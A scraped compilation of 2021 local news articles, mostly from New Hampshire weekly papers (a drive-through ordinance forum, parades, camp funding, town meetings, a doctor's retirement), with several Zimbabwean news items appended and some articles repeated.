attorney Kent M. Baker of Winer and Bennet, LLP in Nashua."As an agency, we are pleased with Mr. Warner's decision to finally address the arrest warrant that has been outstanding since 2019," Bean Burpee said in the statement.

Gilford Steamer SoulFest coming back to Gunstock Thanks for visiting SalmonPress.com
Granite State News Public sentiment overwhelming against drive-through restaurants

by Elissa Paquette WOLFEBORO  The Planning Board held a public forum on July 8 in the Great Hall to hear testimony from the public on whether an ordinance established in 1998 prohibiting drive through restaurants should be amended.



A number of residents in the audience spoke ardently against such a change; just one resident, businessman Paul Zimmerman, owner of commercial property along the Center Street Rt. 28 corridor, spoke in favor.



Zimmerman has brought forward two petition warrant articles, one in 2016, the other in 2020, both of which failed 2-1 to gain support from the voters. According to Vice Chairman Michael Hodder, the board scheduled the Thursday evening forum in response to an argument put forward by Zimmerman that the board did not properly survey or encourage public opinion in advance of the most recent failed petition warrant article. Zimmerman argued that it wasn't fair to present a warrant article that recorded the board's opposition, a stance he repeated during the forum.



Residents spoke with passion about making a deliberate choice to live in Wolfeboro because of its quaint, unique appeal.



"The more homogenizing of the town, the less of a town it becomes," said Brenda Jorett, who said she and her husband chose to move to this "small, beautiful town" from New Jersey.



Troy Lucas, owner of Lucas Coffee, formerly of Virginia, said that he and his wife travelled about 600 miles to choose a town in which to relocate their business. The deciding factor in moving to Wolfeboro, he said, was the lack of national chain billboards.



"This town is an escape from all the big box chains," he told the board, adding that their "previous town did not heed [warnings] and suddenly became like every box store town in America."



Nancy Hirshberg echoed that concern, describing the experience of sometimes feeling when travelling around the country that she couldn't differentiate one town from another. She expressed that the ubiquity of drive-through restaurants is creating "the geography of nowhere." Mal Blodget reflected on a similar experience travelling in Pennsylvania  just one town - a historical town, stood out from the others, he said.



To him, "Wolfeboro has a beautiful soul, I'd like to call it, that is missing from much of America."



Others commented on increased traffic at Dunkin Donuts creating a safety issue, and said they liked Wolfeboro's small town feel.



Parking and "walking allows me to meet my neighbors and friends, and interact with others," said Doug Breskin.



Still others questioned who would profit, and would the money stay in the local economy.



While relative newcomers spoke of their desire for Wolfeboro to retain a small town, distinct feel, there were others, like Jonathon Doherty, a planner by profession, who said his family has been part of Wolfeboro for 90 years because of an attachment to its character.



"Not once in my life have I missed the experience of going through a drive-through restaurant," said Doherty.



Diane Bolduc said hers was a military family, and her children live in cities, where "McDonald's are everywhere, but when they come to Wolfeboro, they don't ask where the McDonalds is; they ask to go to visit Bly's Ice Cream and Farm Stand, Black's, or the Bubble... It would give peace of mind to have it a closed issue. It's important to have a home that feels special," she said.



Zimmerman argued that Wolfeboro has a large service industry, whose vendors "have no place to have lunch, no place to drive in and get something to eat," and said a drive through restaurant could enhance volume in other restaurants, according to studies. He also pointed to the Meredith Village Savings Bank drive-through as an example of good esthetics that are possible  an argument that Ron Sterndele labelled as a disingenuous comparison for a bank and a fast food drive-through "have very different patterns of use."



Chairman of the Heritage Commission, Maggie Stier, commented that allowing drive-through restaurants is not anywhere in the Master Plan, and noted that so many people volunteer the time to manage growth, she would urge everyone to put the matter to rest.



Asked by Fran Phillips if the matter could come up "year after year after year," Town Planner Tavis Austin said it can come up in any given town meeting cycle with submission of a petition warrant article signed by 25 residents.



Hodder spoke in conclusion. A show of hands revealed that no one in the audience was for amending the ordinance, except for Zimmerman. He said the board surveyed the public through Survey Monkee online in response to a request for a survey from Zimmerman, with a resulting 80 percent of respondents against a change and 20 percent in favor. The board will analyze the number of comments received in a future work session  perhaps in August. WOLFEBORO  The Planning Board held a public forum on July 8 in the Great Hall to hear testimony from the public on whether an ordinance established in 1998 prohibiting drive through restaurants should be amended.A number of residents in the audience spoke ardently against such a change; just one resident, businessman Paul Zimmerman, owner of commercial property along the Center Street Rt. 28 corridor, spoke in favor.Zimmerman has brought forward two petition warrant articles, one in 2016, the other in 2020, both of which failed 2-1 to gain support from the voters. According to Vice Chairman Michael Hodder, the board scheduled the Thursday evening forum in response to an argument put forward by Zimmerman that the board did not properly survey or encourage public opinion in advance of the most recent failed petition warrant article. Zimmerman argued that it wasn't fair to present a warrant article that recorded the board's opposition, a stance he repeated during the forum.Residents spoke with passion about making a deliberate choice to live in Wolfeboro because of its quaint, unique appeal."The more homogenizing of the town, the less of a town it becomes," said Brenda Jorett, who said she and her husband chose to move to this "small, beautiful town" from New Jersey.Troy Lucas, owner of Lucas Coffee, formerly of Virginia, said that he and his wife travelled about 600 miles to choose a town in which to relocate their business. The deciding factor in moving to Wolfeboro, he said, was the lack of national chain billboards."This town is an escape from all the big box chains," he told the board, adding that their "previous town did not heed [warnings] and suddenly became like every box store town in America."Nancy Hirshberg echoed that concern, describing the experience of sometimes feeling when travelling around the country that she couldn't differentiate one town from another. She expressed that the ubiquity of drive-through restaurants is creating "the geography of nowhere." Mal Blodget reflected on a similar experience travelling in Pennsylvania  just one town - a historical town, stood out from the others, he said.To him, "Wolfeboro has a beautiful soul, I'd like to call it, that is missing from much of America."Others commented on increased traffic at Dunkin Donuts creating a safety issue, and said they liked Wolfeboro's small town feel.Parking and "walking allows me to meet my neighbors and friends, and interact with others," said Doug Breskin.Still others questioned who would profit, and would the money stay in the local economy.While relative newcomers spoke of their desire for Wolfeboro to retain a small town, distinct feel, there were others, like Jonathon Doherty, a planner by profession, who said his family has been part of Wolfeboro for 90 years because of an attachment to its character."Not once in my life have I missed the experience of going through a drive-through restaurant," said Doherty.Diane Bolduc said hers was a military family, and her children live in cities, where "McDonald's are everywhere, but when they come to Wolfeboro, they don't ask where the McDonalds is; they ask to go to visit Bly's Ice Cream and Farm Stand, Black's, or the Bubble... It would give peace of mind to have it a closed issue. It's important to have a home that feels special," she said.Zimmerman argued that Wolfeboro has a large service industry, whose vendors "have no place to have lunch, no place to drive in and get something to eat," and said a drive through restaurant could enhance volume in other restaurants, according to studies. He also pointed to the Meredith Village Savings Bank drive-through as an example of good esthetics that are possible  an argument that Ron Sterndele labelled as a disingenuous comparison for a bank and a fast food drive-through "have very different patterns of use."Chairman of the Heritage Commission, Maggie Stier, commented that allowing drive-through restaurants is not anywhere in the Master Plan, and noted that so many people volunteer the time to manage growth, she would urge everyone to put the matter to rest.Asked by Fran Phillips if the matter could come up "year after year after year," Town Planner Tavis Austin said it can come up in any given town meeting cycle with submission of a petition warrant article signed by 25 residents.Hodder spoke in conclusion. A show of hands revealed that no one in the audience was for amending the ordinance, except for Zimmerman. He said the board surveyed the public through Survey Monkee online in response to a request for a survey from Zimmerman, with a resulting 80 percent of respondents against a change and 20 percent in favor. The board will analyze the number of comments received in a future work session  perhaps in August.

Granite State News Wolfeboro police add new Tesla patrol car to fleet Recent Elissa Paquette Wolfeboro police add new Tesla patrol car to fleet

2021-Jul-14 Selectmen review Covid-19 exemptions

2021-Jul-14 Graduation brings year to a close for Kingswood Class of 2021

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2021-Jun-24 July 4th parade gets the nod from selectmen

2021-Jun-24 More... Thanks for visiting SalmonPress.com
Littleton Courier Former police chief honored at Franconia Old Home Days

by Angel Larcom

Former Franconia and Sugar Hill Police Chief Gary Young was honored while leading the annual Franconia Old Home Days parade on July 10. (Photo by Angel Larcom) (click for larger version) FRANCONIA  Astride his 1976 Police Edition Harley Davidson motorcycle, former Franconia and Sugar Hill Police Chief Gary Young led the annual Franconia Old Home Days Parade on July 10. Sugar Hill residents first elected him to the position in 1963. He also served Franconia for seven years before retiring in 1987.



Young attempted unsuccessfully to purchase his service motorcycle from the town upon retirement. He spent the next three decades searching for the bike with no luck.



Earlier this year, however, Young's family located, purchased and restored the Harley. They presented it to him at a traditional small-town gathering the week before the parade.



Old Home Days organizer and parade emcee Bill Mellekas said, "Gary attempted to buy the motorcycle when he retired. But, for reasons we do not know, the town sold it. His son located it only a few months ago."



While emceeing the event, Mellekas said, "His sense of duty to his community, his unwavering ability to treat people fairly and in a reasonable manner guided his decisions as Police Chief in Sugar Hill for 24 years. He was known for his saying, 'we can do things the big city way or the small-town way.' The small-town way always worked best."



After Young's recognition, Profile School alum Anabelle Boyer sung the National Anthem. The parade then commenced as a crowd of several hundred lined the streets.



Despite being slightly smaller than its predecessors, the parade still had a significant participation level. Miss New Hampshire winner Ashley Marsh made an appearance, as did the Summertime Marching Band, Mr. and Mrs. Claus, and several regional organizations.



Likewise, multiple vendors were selling their wares throughout the day. The Franconia Fire Department hosted its traditional cookout and sold more than 1,000 tickets for the annual duck race down the Gale River. The celebration ended with an evening concert by the Wicked Smart Horn Band and fireworks at the Dow Field.



The Franconia Old Home Days event has traditionally occurred on Independence Day weekend each year. However, COVID prevented it from happening at all last year. Mellekas, who has organized the event for more than five years, said he had no concerns about its return this summer. FRANCONIA  Astride his 1976 Police Edition Harley Davidson motorcycle, former Franconia and Sugar Hill Police Chief Gary Young led the annual Franconia Old Home Days Parade on July 10. Sugar Hill residents first elected him to the position in 1963. He also served Franconia for seven years before retiring in 1987.Young attempted unsuccessfully to purchase his service motorcycle from the town upon retirement. He spent the next three decades searching for the bike with no luck.Earlier this year, however, Young's family located, purchased and restored the Harley. They presented it to him at a traditional small-town gathering the week before the parade.Old Home Days organizer and parade emcee Bill Mellekas said, "Gary attempted to buy the motorcycle when he retired. But, for reasons we do not know, the town sold it. His son located it only a few months ago."While emceeing the event, Mellekas said, "His sense of duty to his community, his unwavering ability to treat people fairly and in a reasonable manner guided his decisions as Police Chief in Sugar Hill for 24 years. He was known for his saying, 'we can do things the big city way or the small-town way.' The small-town way always worked best."After Young's recognition, Profile School alum Anabelle Boyer sung the National Anthem. The parade then commenced as a crowd of several hundred lined the streets.Despite being slightly smaller than its predecessors, the parade still had a significant participation level. Miss New Hampshire winner Ashley Marsh made an appearance, as did the Summertime Marching Band, Mr. and Mrs. Claus, and several regional organizations.Likewise, multiple vendors were selling their wares throughout the day. The Franconia Fire Department hosted its traditional cookout and sold more than 1,000 tickets for the annual duck race down the Gale River. The celebration ended with an evening concert by the Wicked Smart Horn Band and fireworks at the Dow Field.The Franconia Old Home Days event has traditionally occurred on Independence Day weekend each year. However, COVID prevented it from happening at all last year. Mellekas, who has organized the event for more than five years, said he had no concerns about its return this summer.

Littleton Courier "Big Ring Bob" races the Continental Divide on a bicycle Thanks for visiting SalmonPress.com
Meredith News State offering funding for summer camp fees

by Erin Plummer REGION  The New Hampshire Department of Education is helping kids go to camp this summer by covering camp fees depending on eligibility.



Applications are still open for the "ReKindling Curiosity" program through the Department of Education helping to give kids a chance to go to any number of camps across the state this summer.



"The New Hampshire Department of Education is partnering with New Hampshire camps and school-age summer programs across the state to offer students the unique opportunity to move beyond COVID-19 and be a kid again," read the program's website. "Students of all ages, backgrounds, and abilities benefit from exposure to short-term summer enrichment programs, including in the areas of challenge, friend-making, positivity, and emotional safety. These are all things that New Hampshire camps and school-age programs do best."



According to a fact sheet from the DoE, the program came about from a concern about student mental and behavioral health because of the pandemic and remote learning. They said studies show that short term summer enrichment activities greatly helps students make friends, work with challenges, get physical activity, and other benefits. These opportunities also help kids manage anxiety and depression, especially from the pandemic.



The DoE also said this will help kids return to school in the fall ready to learn.



Doing summer activities is even more difficult or students with disabilities and have income limitations.



The program is offering $350-$650 in camp fees to at participating camps to eligible students depending on different factors. Funding is available on a first come, first served basis.



Students with a disability are eligible for a $650 camp fee. The disability can be confirmed with an IEP and medical documentation. Students from families at or below 250 percent of the federal poverty level can receive $500 for camp and families who are 400 percent below the poverty level can receive $350.



The money is available for attendance at participating residential, day, and recreation camps across the state.



Eligible camps in Meredith include Camp Wanakee and Camp Nokomis. In Moultonborough eligible camps include the Geneva Point Center, Camp Robindel, Camp Tecumseh, Camp Quinebarge, and Camp Winaukee. Other area camps include Camp Belknap in Tuftonboro, Camp Berea in Alexandria, Camp Birchmont in Wolfeboro, Singing Eagle Lodge in Holderness, the Circle Program in Plymouth, Camp Deer Run in Alton, Highland Mountain Bike Park in Northfield, Camp Kabeyun in Alton, the Mayhew Program in Bristol, the Squam Lakes Association in Holderness, and more.



For more information on "ReKindling Curiosity," visit https://rekindlingcuriosityeducation.nh.gov. REGION  The New Hampshire Department of Education is helping kids go to camp this summer by covering camp fees depending on eligibility.Applications are still open for the "ReKindling Curiosity" program through the Department of Education helping to give kids a chance to go to any number of camps across the state this summer."The New Hampshire Department of Education is partnering with New Hampshire camps and school-age summer programs across the state to offer students the unique opportunity to move beyond COVID-19 and be a kid again," read the program's website. "Students of all ages, backgrounds, and abilities benefit from exposure to short-term summer enrichment programs, including in the areas of challenge, friend-making, positivity, and emotional safety. These are all things that New Hampshire camps and school-age programs do best."According to a fact sheet from the DoE, the program came about from a concern about student mental and behavioral health because of the pandemic and remote learning. They said studies show that short term summer enrichment activities greatly helps students make friends, work with challenges, get physical activity, and other benefits. These opportunities also help kids manage anxiety and depression, especially from the pandemic.The DoE also said this will help kids return to school in the fall ready to learn.Doing summer activities is even more difficult or students with disabilities and have income limitations.The program is offering $350-$650 in camp fees to at participating camps to eligible students depending on different factors. Funding is available on a first come, first served basis.Students with a disability are eligible for a $650 camp fee. The disability can be confirmed with an IEP and medical documentation. Students from families at or below 250 percent of the federal poverty level can receive $500 for camp and families who are 400 percent below the poverty level can receive $350.The money is available for attendance at participating residential, day, and recreation camps across the state.Eligible camps in Meredith include Camp Wanakee and Camp Nokomis. In Moultonborough eligible camps include the Geneva Point Center, Camp Robindel, Camp Tecumseh, Camp Quinebarge, and Camp Winaukee. Other area camps include Camp Belknap in Tuftonboro, Camp Berea in Alexandria, Camp Birchmont in Wolfeboro, Singing Eagle Lodge in Holderness, the Circle Program in Plymouth, Camp Deer Run in Alton, Highland Mountain Bike Park in Northfield, Camp Kabeyun in Alton, the Mayhew Program in Bristol, the Squam Lakes Association in Holderness, and more.For more information on "ReKindling Curiosity," visit https://rekindlingcuriosityeducation.nh.gov.

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Plymouth Record Enterprise Ashland selectmen agree to reinstall raft at town beach

by David Ruell ASHLAND  At their July 12 meeting, the Ashland selectmen voted to restore the raft at the Ashland Town Beach and discussed other issues, including utility poles, electric billing, cable television, broadband, a new telephone system for town offices, and tax maps.



Ann Barney, who is both a Selectmen and the Parks & Recreation Director, asked the selectmen to restore the raft that was a feature of the Town Beach for decades. It was removed in 2007, because it was considered a liability and it also attracted birds who were believed to foul the water. Barney noted that many townspeople wanted the raft



back, with over 200 signing a petition. Some raft supporters attended the meeting to speak in favor of a new raft. Barney reported that she had talked with the Town's insurance company, who said that the municipal liability insurance would not increase if the raft was returned. She was confident that the new raft could be built with donations, at no cost to the town. She had obtained estimates of up to $10,000 from professional dock builders. Lee Bavis questioned the accuracy of the water quality tests made by the lifeguards and volunteered his own expertise in water testing. It was pointed out that the raft served as a goal for beginning swimmers and as a resting place for tired swimmers. After a lengthy discussion, the selectmen voted 3 to 1 (with Barney abstaining) to authorize the Parks & Recreation Director to acquire a new raft for the beach. A public



hearing will be required by state law to accept the raft when it is ready because the gift would be valued at more than $5,000. Barney also brought up the issue of kayakers using part of the beach to launch their craft. She had ruled against that use because that sandy section of the beach was also used by younger children, but she had agreed to bring the issue to the Board. The selectmen backed Director Barney's ruling by consensus.



Town Manager Fred Welch reported on the testing of utility poles owned by the Ashland Electric Department. 440 poles have been tested so far, with 13 found to be defective. They are now being replaced. 560 poles still need to be tested, a job that will be completed this year. This led to a discussion of the slow response by other pole



users, the telephone and TV cable companies, to switch their wires to new poles erected by the Town, as can be seen on North Ashland Road and on one notorious broken pole on Winona Road. Welch noted that the Town has the statutory authority to require these other utilities to switch their wires when necessary.



Welch also reported problems with electricity billing. Parts on the machine that folds and stuffs the electric bills wore out so the machine began stuffing as many as four bills into one envelope. As a result, many customers did not get a bill. He explained that the



machine had been repaired and will be inspected every three months in the future. Customers who are late in paying their bills because of this problem will not be charged a penalty.



The Town Manager explained that the franchise contract for the cable television provider for Ashland expired on May 18. He has been trying every phone number he can, but has gotten no response from the cable company on the issue. In the meantime, the cable company has notified Ashland users of increases in their cable bill, which Welch felt was not legal as they do not have a contract for the Town. He plans to ask for refunds for those price increases. The options for the Town are a new contract with the present company or another company, or providing a Town owned cable system.



The Town will be receiving about $200,000 from the Federal government as part of the stimulus bill, which can be used for water, sewer or broadband. Ashland is proposing to use it for broadband in the downtown and other sections of the community. Grafton County is holding a meeting to consider a broadband "spine" for the towns in the



county. The Town's application must be submitted by August 18.



A new telephone system provided by First Light has been approved by the Selectmen for the Town Hall and the Utility Offices. The monthly cost for both buildings will be $463.90. There will be a single phone number, through which people will eventually reach the various Town departments, save for the emergency services, Police and Fire.



The new tax map project is nearly done. The last component will be an electronic version of the tax maps, which will be available online, so that citizens can consult it in their homes or offices. Chairman Eli Badger pointed out that other information can be added later to the tax maps.



The selectmen recognized local high school student Matthew Jolin, who won the Second Congressional District art contest, with an enthusiastic proclamation signed by all of them. Chairman Badger also thanked the Fourth of July Committee for providing "a very nice Fourth of July" despite the bad weather on the day of the celebration. The



selectmen ended their meeting with a non-public session that involved the Electric Department. ASHLAND  At their July 12 meeting, the Ashland selectmen voted to restore the raft at the Ashland Town Beach and discussed other issues, including utility poles, electric billing, cable television, broadband, a new telephone system for town offices, and tax maps.Ann Barney, who is both a Selectmen and the Parks & Recreation Director, asked the selectmen to restore the raft that was a feature of the Town Beach for decades. It was removed in 2007, because it was considered a liability and it also attracted birds who were believed to foul the water. Barney noted that many townspeople wanted the raftback, with over 200 signing a petition. Some raft supporters attended the meeting to speak in favor of a new raft. Barney reported that she had talked with the Town's insurance company, who said that the municipal liability insurance would not increase if the raft was returned. She was confident that the new raft could be built with donations, at no cost to the town. She had obtained estimates of up to $10,000 from professional dock builders. Lee Bavis questioned the accuracy of the water quality tests made by the lifeguards and volunteered his own expertise in water testing. It was pointed out that the raft served as a goal for beginning swimmers and as a resting place for tired swimmers. After a lengthy discussion, the selectmen voted 3 to 1 (with Barney abstaining) to authorize the Parks & Recreation Director to acquire a new raft for the beach. A publichearing will be required by state law to accept the raft when it is ready because the gift would be valued at more than $5,000. Barney also brought up the issue of kayakers using part of the beach to launch their craft. She had ruled against that use because that sandy section of the beach was also used by younger children, but she had agreed to bring the issue to the Board. The selectmen backed Director Barney's ruling by consensus.Town Manager Fred Welch reported on the testing of utility poles owned by the Ashland Electric Department. 440 poles have been tested so far, with 13 found to be defective. They are now being replaced. 560 poles still need to be tested, a job that will be completed this year. This led to a discussion of the slow response by other poleusers, the telephone and TV cable companies, to switch their wires to new poles erected by the Town, as can be seen on North Ashland Road and on one notorious broken pole on Winona Road. Welch noted that the Town has the statutory authority to require these other utilities to switch their wires when necessary.Welch also reported problems with electricity billing. Parts on the machine that folds and stuffs the electric bills wore out so the machine began stuffing as many as four bills into one envelope. As a result, many customers did not get a bill. He explained that themachine had been repaired and will be inspected every three months in the future. Customers who are late in paying their bills because of this problem will not be charged a penalty.The Town Manager explained that the franchise contract for the cable television provider for Ashland expired on May 18. He has been trying every phone number he can, but has gotten no response from the cable company on the issue. In the meantime, the cable company has notified Ashland users of increases in their cable bill, which Welch felt was not legal as they do not have a contract for the Town. He plans to ask for refunds for those price increases. The options for the Town are a new contract with the present company or another company, or providing a Town owned cable system.The Town will be receiving about $200,000 from the Federal government as part of the stimulus bill, which can be used for water, sewer or broadband. Ashland is proposing to use it for broadband in the downtown and other sections of the community. Grafton County is holding a meeting to consider a broadband "spine" for the towns in thecounty. The Town's application must be submitted by August 18.A new telephone system provided by First Light has been approved by the Selectmen for the Town Hall and the Utility Offices. The monthly cost for both buildings will be $463.90. There will be a single phone number, through which people will eventually reach the various Town departments, save for the emergency services, Police and Fire.The new tax map project is nearly done. The last component will be an electronic version of the tax maps, which will be available online, so that citizens can consult it in their homes or offices. Chairman Eli Badger pointed out that other information can be added later to the tax maps.The selectmen recognized local high school student Matthew Jolin, who won the Second Congressional District art contest, with an enthusiastic proclamation signed by all of them. Chairman Badger also thanked the Fourth of July Committee for providing "a very nice Fourth of July" despite the bad weather on the day of the celebration. Theselectmen ended their meeting with a non-public session that involved the Electric Department.

Plymouth Record Enterprise Life in the snow lane Thanks for visiting SalmonPress.com
Winnisquam Echo Veterans Home bids fond farewell to Mishcon

by Donna Rhodes

Dr. Merrit Jonathan Mishcon posed for a photo during his retirement party at New Hampshire Veterans Home on June 30. Wishing him well after 40 years of service to the veterans and the entire community as well were New Hampshire State Sen. Bob Guida (left), NHVH Commandant Margaret LaBrecque (right) and WWII Navy Veteran Joe Perry (seated). (Photo by Donna Rhodes) (click for larger version) TILTON  Wednesday, June 30 was a bittersweet day for residents and staff of New Hampshire Veterans Home as they bid farewell to Dr. Merrit Jonathan (Jon) Mishcon after 37 years of looking after their health and wellbeing.



Mishcon became somewhat emotional as he walked to the Pavilion outside NHVH that day and saw the crowd who waited to see him one more time.



"Thank you everyone. I appreciate all the time we've spent together, and I can't tell you how difficult this is for me," he said.



Commandant Margaret LaBrecque told the doctor that they couldn't let nearly four decades of his care go by without celebrating all he had done for the residents and staff of NHVH.



"We're not going to say goodbye, though. We'll say we'll see you soon," she said.



Mishcon first arrived at the veterans' home in 1981 when he began assisting Dr. Frank Robinson in his coverage of the residents there. In 1979, however, he had also establish a private practice of his own in a refurbished Sunoco station in downtown Tilton. He was one of several young Family Practitioners who came to the area hoping to make a difference in a rural community. In the 1980s, those physicians also took shifts at Franklin Regional Hospital until they began hiring ER doctors. And, as part of his mission of commitment and care for his patients, Mishcon was one of a very few doctors who made house calls.



"Coming into family practice in a small community is a lot like being adopted. Not all of my older patients could get to the office, so I went to them. They treated me like part of their family," he said. "It's the model of medicine I grew up with; it's a lifestyle."



Tilton Selectman Jon Scanlon helped orchestrate the celebration for Mishcon's retirement on June 30th and recalled hearing a former selectman tell stories of how he would go to their farm to take care of three to four generations of that family.



"What you did meant a lot to the community, and I want to thank you on behalf of the Town of Tilton for all you've done," Scanlon said.



As if hospital rounds, a private practice and house calls weren't enough, when Dr. Robinson retired in the mid-80s, Mishcon took over the primary care of residents at the veterans' home as well.



Several NHVH staff members shared some of their memories of the doctor that day, too. Representatives of the recreation department appreciated how he strongly encouraged the veterans to remain active in order to better their health. He was praised for the way in which he helped incoming residents transition comfortably into their new environment and nurses recalled midnight pages that he would answer almost immediately, as if he never slept.



NHVH Clinic Coordinator Cindy Ferland had special memories though. When Mishcon opened his private practice, she worked in his office for 20 years and during that time became interested in nursing. With his encouragement she graduated from nursing school and went on to work with the veterans, too. While she didn't think the doctor was at her graduation, she later learned he had actually slipped quietly in the door to watch, then headed back to work.



"He's helped me in so many ways. He's a such a good man," Ferland said.



One other person who attended the retirement party was N.H. District 2 Sen. Bob Guida. Guida brought with him a special Senate Resolution signed by both he and District 7 Sen. Harold French, commending Mishcon on his 40 years of service to the community and wishing him well in his retirement.



Mishcon then took a moment to thank the staff of NHVH himself for all they do, most especially over the last year when the pandemic struck.



"People here have been under appreciated for the amount of risk and sacrifice we all went through during that difficult period," he said. He went on to say how very proud he was of their willingness to risk their health and well being to care for the men and women who had risked their lives in service to the country.



With commendations and gifts from the veterans' home piled before him, Commandant LaBrecque told Mishcon that with July 4 just a few days away, it was also quite fitting for them to celebrate a man who in turn served those veterans for 40 years.



"We're forever in your debt," she said. TILTON  Wednesday, June 30 was a bittersweet day for residents and staff of New Hampshire Veterans Home as they bid farewell to Dr. Merrit Jonathan (Jon) Mishcon after 37 years of looking after their health and wellbeing.Mishcon became somewhat emotional as he walked to the Pavilion outside NHVH that day and saw the crowd who waited to see him one more time."Thank you everyone. I appreciate all the time we've spent together, and I can't tell you how difficult this is for me," he said.Commandant Margaret LaBrecque told the doctor that they couldn't let nearly four decades of his care go by without celebrating all he had done for the residents and staff of NHVH."We're not going to say goodbye, though. We'll say we'll see you soon," she said.Mishcon first arrived at the veterans' home in 1981 when he began assisting Dr. Frank Robinson in his coverage of the residents there. In 1979, however, he had also establish a private practice of his own in a refurbished Sunoco station in downtown Tilton. He was one of several young Family Practitioners who came to the area hoping to make a difference in a rural community. In the 1980s, those physicians also took shifts at Franklin Regional Hospital until they began hiring ER doctors. And, as part of his mission of commitment and care for his patients, Mishcon was one of a very few doctors who made house calls."Coming into family practice in a small community is a lot like being adopted. Not all of my older patients could get to the office, so I went to them. They treated me like part of their family," he said. "It's the model of medicine I grew up with; it's a lifestyle."Tilton Selectman Jon Scanlon helped orchestrate the celebration for Mishcon's retirement on June 30th and recalled hearing a former selectman tell stories of how he would go to their farm to take care of three to four generations of that family."What you did meant a lot to the community, and I want to thank you on behalf of the Town of Tilton for all you've done," Scanlon said.As if hospital rounds, a private practice and house calls weren't enough, when Dr. Robinson retired in the mid-80s, Mishcon took over the primary care of residents at the veterans' home as well.Several NHVH staff members shared some of their memories of the doctor that day, too. Representatives of the recreation department appreciated how he strongly encouraged the veterans to remain active in order to better their health. He was praised for the way in which he helped incoming residents transition comfortably into their new environment and nurses recalled midnight pages that he would answer almost immediately, as if he never slept.NHVH Clinic Coordinator Cindy Ferland had special memories though. When Mishcon opened his private practice, she worked in his office for 20 years and during that time became interested in nursing. With his encouragement she graduated from nursing school and went on to work with the veterans, too. While she didn't think the doctor was at her graduation, she later learned he had actually slipped quietly in the door to watch, then headed back to work."He's helped me in so many ways. He's a such a good man," Ferland said.One other person who attended the retirement party was N.H. District 2 Sen. Bob Guida. Guida brought with him a special Senate Resolution signed by both he and District 7 Sen. Harold French, commending Mishcon on his 40 years of service to the community and wishing him well in his retirement.Mishcon then took a moment to thank the staff of NHVH himself for all they do, most especially over the last year when the pandemic struck."People here have been under appreciated for the amount of risk and sacrifice we all went through during that difficult period," he said. He went on to say how very proud he was of their willingness to risk their health and well being to care for the men and women who had risked their lives in service to the country.With commendations and gifts from the veterans' home piled before him, Commandant LaBrecque told Mishcon that with July 4 just a few days away, it was also quite fitting for them to celebrate a man who in turn served those veterans for 40 years."We're forever in your debt," she said.

Winnisquam Echo Sanbornton's Old Home Day celebrates delayed anniversary Sanbornton resident bikes across New Hampshire Recent Donna Rhodes Family and friends gather to celebrate local veterans 100th birthday

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2021-Apr-08 More... Thanks for visiting SalmonPress.com
A TOTAL of 146 deportees from South Africa and Botswana escaped from quarantine and isolation facilities in Matabeleland South Province during the past week.

139 escaped soon after being placed under quarantine at NSSA Hotel in Beitbridge and Esikhoveni Training Centre while seven escaped at the District Development Fund (DDF) skills training centre after they had tested positive for Covid-19.

They had returned from Botswana and South Africa. NSSA Hotel quarantine centre received 220 deportees from South Africa on Thursday last week and 115 escaped. Esikhoveni Training Centre received 56 deportees and 24 escaped. Ten were further referred to DDF training centre for isolation where seven escaped.

Matabeleland South provincial social welfare officer, Mr Criswell Nyakudya said they had engaged police in order to tighten security at quarantine centres.

A total of 56 deportees arrived from Botswana through the Plumtree Border Post on 2 July and they were placed under quarantine at Esikhoveni Isolation Centre. On 3 July 19 males escaped in the morning while five others comprising four males and a female escaped on 10 July. On 11 July, 20 were transferred to Esigodini District Hospital isolation centre after testing positive for Covid-19.

10 more were transferred to DDF centre for isolation because of limited space at Esigodini Hospital. Seven of them later escaped but they were intercepted in Esigodini while on their way to Bulawayo. Last week Thursday we received 220 at NSSA Hotel quarantine centre from South Africa.

The following morning during roll call it was realised that 24 males had absconded. On Saturday evening during roll call it was realised that 91 had absconded comprising 74 males and 17 females, he said.

Mr Nyakudya said there is lack of security at quarantine centres. There is need to beef up security and we have engaged the police to ensure that more officers are deployed to the quarantine centres, he said.

Mr Nyakudya said even if some of the deportees would have tested negative at the point of entry, they needed to go through the entire quarantine period and get tested again before being released into the community as they would have been in contact with positive deportees. He said some deportees initially test negative but go on to test positive during their quarantine period and they are moved to isolation centres.

Mr Nyakudya said the number of deportees being received from the neighbouring countries had recently increased.

Umzingwane District Development Coordinator (DDC), Mr Peter Mahlathini who is also the chairperson of the district taskforce committee on Covid-19 said there was need for more quarantine space and isolation space in Esigodini as the existing facilities.

We need tents so that we can have more quarantine space and also food to feed the deportees as the numbers have increased of late. Esikhoveni Training Centre can only accommodate about 45 people while Esigodini District Hospital isolation centre can only accommodate 10 people because the hospital is small. We could use community halls but the challenge is that they need to be renovated first, he said. Chronicle


Wiriranai Paradza the proprietor of Astelotrans Transport has made a report at Chivhu accusing Mvuma Police of looting 15 tonnes of crates of Castle Lite from his truck going to Zambia from South Africa.

He says Police looted the truck after the driver, Webster Nhau turned off the highway to drop some smuggled goods at Mavise Business Centre 10km from Mvuma towards Harare.

The vehicles load shifted along the dust road and Police details found Nhau desperately trying to repack the beer. He allegedly bribed the cops with some beer in a bid to conceal the case of the smuggled goods. Police made three loads of beer with their truck, The Mirror was told.

Paradza said that Police loaded the beer into their vehicle and took it away. Villagers who noticed Police looting the beer joined in immediately after the Police left and cleared half of the 34 tonnes that the truck carried, said Paradza.

Villagers used wheelbarrows, scotch carts and cars to loot the beer.

Apart from the Police and villagers, well known business people and political leaders are also said to have looted the beer

Midlands Province Police Spokesperson Inspector Emmanuel Mahoko confirmed the incident but dismissed allegations that Police was involved in looting.

The case was handled above board by Police. A Police car was only used to transport beer to the Station for booking. Hand over, take over was done on book, said Mahoko

However, Paradza insisted that Police was the first to loot from his car and then villagers followed. He said efforts to recover his beer was thwarted by Police officers who allegedly tipped villagers to hide their loot.

Paradza reported the case to Chivhu but got frustrated when Chivhu Police told him to report the matter to Mvuma since the area is under Chivhu.

Mvuma Police looted beer from my truck. l even made a report at Chivhu Police but l heard that the law says l should report to Mvuma because the incident happened in Mvuma area.

That is when l gave up because I was going to report to the same people who looted my truck.

When we tried to recover some of the loot from individuals we failed because Police was alerting the looters to hide the beer, said Paradza. Masvingo Mirror
GOVERNMENT yesterday announced that schools will remain closed for the next two weeks following a spike in Covid-19 cases in the country.

Schools were initially scheduled to open on June 28 for the second term but an increase in Covid-19 infections forced Government to postpone face-to-face learning. This is the second time this year that Government has postponed the opening of schools.

The first time was in January when the country was hot with the second wave of infections.

Speaking during a post-Cabinet media briefing yesterday, Information, Publicity and Broadcasting Services Minister Monica Mutsvangwa said Government will review the decision at the end of two weeks.

